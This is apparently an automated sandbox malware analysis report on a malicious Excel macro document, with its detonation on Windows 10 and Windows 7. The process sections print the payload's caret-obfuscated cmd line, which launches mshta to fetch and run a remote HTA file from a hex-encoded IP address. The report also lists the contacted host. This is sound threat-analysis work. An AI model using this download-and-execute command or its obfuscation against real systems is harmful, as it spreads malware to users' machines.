Malware Analysis Report

2025-01-22 16:12

Sample ID 241111-wlmweasjh1
Target 9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d
SHA256 9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d

Threat Level: Known bad

The file 9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Blocklisted process makes network request

Suspicious Office macro

System Location Discovery: System Language Discovery

Enumerates system info in registry

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

Checks processor information in registry

Suspicious behavior: AddClipboardFormatListener

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 18:00

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 18:00

Reported

2024-11-11 18:03

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

151s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4516 wrote to memory of 4316 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 4516 wrote to memory of 4316 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 4316 wrote to memory of 3232 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 4316 wrote to memory of 3232 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe3.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 10.242.123.52.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 26.73.42.20.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 98.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

memory/4516-0-0x00007FFB44A10000-0x00007FFB44A20000-memory.dmp

memory/4516-1-0x00007FFB84A2D000-0x00007FFB84A2E000-memory.dmp

memory/4516-3-0x00007FFB44A10000-0x00007FFB44A20000-memory.dmp

memory/4516-2-0x00007FFB44A10000-0x00007FFB44A20000-memory.dmp

memory/4516-4-0x00007FFB44A10000-0x00007FFB44A20000-memory.dmp

memory/4516-5-0x00007FFB44A10000-0x00007FFB44A20000-memory.dmp

memory/4516-8-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-7-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-11-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-10-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-9-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-13-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-14-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-12-0x00007FFB42650000-0x00007FFB42660000-memory.dmp

memory/4516-6-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-15-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-16-0x00007FFB42650000-0x00007FFB42660000-memory.dmp

memory/4516-18-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-19-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-17-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-20-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-31-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

memory/4516-32-0x00007FFB84A2D000-0x00007FFB84A2E000-memory.dmp

memory/4516-33-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 f773a2558ffdb1928b330d840e53d4fd
SHA1 cf297ab984cb935a9c79be415cc3f4909c70ea5c
SHA256 135b5c5570506fac9f7873a300d39d3dd7c3abe4de1836aa77818e34f520c466
SHA512 8b0612a91f97ae2dda2cb3b58cb0bf19dca66cf48177d4a39deb92fe933e327fc432975700e3d6c9d868e4a3a435b3cb21c1bac29f1b11b45c197eefccb719d1

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 18:00

Reported

2024-11-11 18:03

Platform

win7-20240729-en

Max time kernel

67s

Max time network

34s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe3.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/2528-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2528-1-0x0000000073E4D000-0x0000000073E58000-memory.dmp

memory/2528-2-0x0000000073E4D000-0x0000000073E58000-memory.dmp